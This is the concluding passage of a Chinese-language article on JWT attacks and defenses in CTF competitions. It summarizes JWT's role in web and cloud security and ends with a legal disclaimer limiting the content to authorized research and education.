综上所述,JWT不仅是当前CTF竞赛的核心题型,更是连接传统Web安全与现代云安全的重要桥梁。未来CTF题目将更加注重多组件交互、跨协议攻击、真实环境模拟,而JWT将继续扮演“钥匙”角色,在各类复杂场景中释放巨大的研究潜力。对于安全研究人员而言,深入掌握JWT的攻防原理,既是赢得比赛的关键,也是应对现实威胁的基础能力。
法律风险提示:本文内容仅用于网络安全技术研究与教育目的,请勿在未经授权的系统上实施任何渗透测试行为。遵守《网络安全法》及相关法律法规,合法合规开展安全工作。

浙公网安备 33010602011771号